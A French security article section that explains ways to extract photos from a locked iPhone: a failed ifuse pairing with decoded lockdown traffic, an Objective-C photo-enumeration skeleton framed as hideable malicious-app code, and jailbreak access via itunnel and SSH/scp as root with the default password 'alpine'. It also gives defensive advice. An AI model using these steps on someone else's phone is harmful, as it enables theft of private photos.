--[ 13. Le saviez-vous ? La réponse ]------------------------------------ 1. La solution simple: le câble USB La solution qui vient tout de suite lorsque l'on souhaite récupérer des données d'un iPhone est d'y brancher un câble et de monter ce dernier comme un périphérique de stockage mobile : # ifuse /mnt/iphone/ Please disable the password protection on your device and try again. The device does not allow pairing as long as a password has been set. You can enable it again after the connection succeeded. Le fait que l'iPhone soit verrouillé avec un mot de passe empêche ifuse de monter la partition de données de ce dernier. En utilisant wireshark et un script maison, on obtient les informations suivantes : $ ######################################################################## $ ruby ipcap2icanread.rb 02_ifuse_sur_iphone_non_deverrouille.pcap host -> iphone(22.4) #12 Label : ifuse Request : QueryType iphone(22.85) -> host #16 Request : QueryType Result : Success Type : com.apple.mobile.lockdown host -> iphone(22.4) #18 Label : ifuse Key : DevicePublicKey Request : GetValue iphone(22.85) -> host #22 Key : DevicePublicKey Request : GetValue Result : Success Value : host -> iphone(22.4) #28 Label : ifuse PairRecord : DeviceCertificate: HostCertificate : HostID : EE771513-BA78-1358-3D7A-20CB65CCF6C4 RootCertificate : Request : Pair iphone(22.85) -> host #32 Error : PasswordProtected Request : Pair Result : Failure host -> iphone(22.4) #36 Label : ifuse Key : DevicePublicKey Request : GetValue iphone(22.85) -> host #40 Key : DevicePublicKey Request : GetValue Result : Success Value : host -> iphone(22.4) #42 Label : ifuse PairRecord : DeviceCertificate: HostCertificate : HostID : EE771513-BA78-1358-3D7A-20CB65CCF6C4 RootCertificate : Request : ValidatePair iphone(22.85) -> host #46 Error : InvalidHostID Request : ValidatePair Result : Failure host -> iphone(22.4) #48 Label : ifuse Key : DevicePublicKey Request : GetValue iphone(22.85) -> host #52 Key : DevicePublicKey Request : GetValue Result : Success Value : host -> iphone(22.4) #54 Label : ifuse PairRecord : DeviceCertificate: HostCertificate : HostID : EE771513-BA78-1358-3D7A-20CB65CCF6C4 RootCertificate : Request : Pair iphone(22.85) -> host #58 Error : PasswordProtected Request : Pair Result : Failure host -> iphone(22.4) #60 Label : ifuse Request : Goodbye iphone(22.85) -> host #64 Request : Goodbye Result : Success $ ######################################################################## On peut voir dans l'échange des frames 42 et 46 que l'hôte présente ses certificats (DeviceCertificate:, HostCertificate et RootCertificate) et que l'iPhone lui répond ne pas les connaître (InvalidHostID). iFuse retente une identification, et l'iPhone lui retourne alors une seconde erreur (PasswordProtected) indiquant qu'il n'ajoutera pas le système dans sa liste blanche de systèmes autorisés. Si l'iPhone avait été déverrouillé ou l'hôte autorisé, voilà ce qui se serait produit : # ifuse /mnt/iphone/ # ls /mnt/iphone/DCIM/100APPLE/ IMG_0001.JPG IMG_0144.JPG IMG_0265.JPG IMG_0375.JPG IMG_0489.JPG IMG_0002.JPG IMG_0145.JPG IMG_0266.JPG IMG_0376.JPG IMG_0490.JPG IMG_0003.JPG IMG_0146.JPG IMG_0267.JPG IMG_0377.JPG IMG_0491.PNG IMG_0005.JPG IMG_0147.JPG IMG_0268.JPG IMG_0378.JPG IMG_0492.JPG IMG_0008.JPG IMG_0148.JPG IMG_0269.JPG IMG_0379.JPG IMG_0493.JPG [...] Bien entendu, sans code de verrouillage, il est aussi possible de faire un envoi par courriel, MMS ou autre. Sur iPhone, l'accès aux photos (et beaucoup d'autres informations) est donc protégé par le mot de passe de verrouillage de l'écran. 2. L'application malfaisante Le code nécessaire en Objective-C pour interagir avec les photos et les vidéos stockées dans un iPhone ressemble au suivant : #import #import @implementation PhotoGallery - (void)getImageAndVideos{ void (^assetEnumerator)(struct ALAsset *, NSUInteger, BOOL *) = \ ^(ALAsset *result, NSUInteger index, BOOL *stop) { if(result != NULL) { NSLog(@"See Asset: %@", result); [[result valueForProperty:ALAssetPropertyURLs] \ enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) { ALAssetRepresentation *resRep = [result defaultRepresentation]; /* INSERT HERE YOUR PHOTO/VIDEO EXTRACTION CODE */ }]; } }; void (^assetGroupEnumerator)(struct ALAssetsGroup *, BOOL *) = \ ^(ALAssetsGroup *group, BOOL *stop) { if(group != nil) { [group enumerateAssetsUsingBlock:assetEnumerator]; } }; ALAssetsLibrary *library = [[ALAssetsLibrary alloc] init]; [library enumerateGroupsWithTypes:ALAssetsGroupAll usingBlock:assetGroupEnumerator failureBlock: ^(NSError *error) { }]; } @end Toutefois, l'interaction avec le contenu des photos/vidéos nécessitera que l'application ait accès au service de localisation. Cette restriction de l'iOS est dûe à la présence de données de localisation dans les entêtes des images. C'est tout du moins la raison avancée par Apple. Ce code peut bien évidemment se cacher dans n'importe quelle application pour iPhone. L'envoi des photos et vidéos a peu de chances de passer les vérifications faites par Apple avant distribution dans l'AppStore. Mais rien n'empêche une personne malveillante d'ajouter ce code dans une application pour iPhones jailbreakés ou dans un développement spécifique inter-entreprise. Cela laisse à réfléchir quant à accepter ou non de laisser une application quelconque avoir accès au service de localisation. 3. Le jailbreak Une autre solution, plus intrusive, consiste à jailbreaker le téléphone pour avoir un accès plus complet aux données de ce dernier. Une fois jailbreaké, le téléphone ne donnera - par défaut - pas plus accès aux données via le port USB. En effet, le mot de passe sera toujours actif et le scénario #1 sera identique. Il est toutefois possible d'intégrer au jailbreak un démon SSH, qui sera accessible via l'interface ethernet présentée par l'iPhone au travers du câble USB. Voilà alors ce que l'on pourra observer : $ dmesg [...] [351519.774327] usb 2-2: udev 36, busnum 2, minor = 163 [351519.774333] usb 2-2: New USB device found, idVendor=05ac, idProduct=1297 [351519.774338] usb 2-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [351519.774342] usb 2-2: Product: iPhone [351519.774346] usb 2-2: Manufacturer: Apple Inc. [351519.774350] usb 2-2: SerialNumber: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx [351519.774467] usb 2-2: usb_probe_device [351519.774471] usb 2-2: configuration #1 chosen from 4 choices [351519.775334] usb 2-2: adding 2-2:1.0 (config #1, interface 0) [351519.775401] drivers/usb/core/inode.c: creating file '036' [351519.775421] hub 2-0:1.0: state 7 ports 6 chg 0000 evt 0004 [351519.800119] usb 2-2: unregistering interface 2-2:1.0 [351519.800174] usb 2-2: usb_disable_device nuking non-ep0 URBs [351519.801199] usb 2-2: adding 2-2:4.0 (config #4, interface 0) [351519.801264] usb 2-2: adding 2-2:4.1 (config #4, interface 1) [351519.801312] usb 2-2: adding 2-2:4.2 (config #4, interface 2) [351519.801351] ipheth 2-2:4.2: usb_probe_interface [351519.801354] ipheth 2-2:4.2: usb_probe_interface - got id [351519.811456] ipheth 2-2:4.2: Apple iPhone USB Ethernet device attached L'iPhone met donc à disposition une interface ipeth qui peut être utilisée de la façon suivante : $ ./itunnel 4444 2>&1 >/dev/null & ; ssh -p 4444 root at 127.0.0.1 [1] 11584 get_iPhone() success root at 127.0.0.1's password: alpine iPhone:~ root# ls /private/var/mobile/Media/DCIM/100APPLE/ IMG_0001.JPG IMG_0144.JPG IMG_0265.JPG IMG_0375.JPG IMG_0489.JPG IMG_0002.JPG IMG_0145.JPG IMG_0266.JPG IMG_0376.JPG IMG_0490.JPG IMG_0003.JPG IMG_0146.JPG IMG_0267.JPG IMG_0377.JPG IMG_0491.PNG IMG_0005.JPG IMG_0147.JPG IMG_0268.JPG IMG_0378.JPG IMG_0492.JPG IMG_0008.JPG IMG_0148.JPG IMG_0269.JPG IMG_0379.JPG IMG_0493.JPG [...] L'ouverture de la session SSH fonctionnera si l'utilisateur n'a pas changé le mot de passe par défaut (alpine) ou si l'attaquant a découvert le mot de passe. L'accès aux photos et vidéos n'est pas protégé via le mot de passe. En disposant d'un accès au système de fichiers, il est donc possible de récupérer sans restriction le contenu multimédia : $ ./itunnel 4444 2>&1 >/dev/null & ; scp -P 4444 \ > 'root at 127.0.0.1:/private/var/mobile/Media/DCIM/100APPLE/*' ./ [1] 10127 get_iPhone() success root at 127.0.0.1's password: alpine IMG_0002.JPG 0% 0 0.0KB/s 0.0KB/s --:-- ETA Il est possible de se protéger de ce type d'attaque en modifiant le mot de passe des comptes 'mobile' et 'root'. Cette protection pourra être contournée s'il existe un jailbreak offline pour le téléphone en question. Les utilitaires (type redSn0w) réalisant ce jailbreak peuvent être modifiés par l'attaquant pour réinitialiser le mot de passe root, ou même inclure directement un service permettant d'espionner l'utilisateur. --- Guillaume Thiaux, Jean-Baptiste Aviat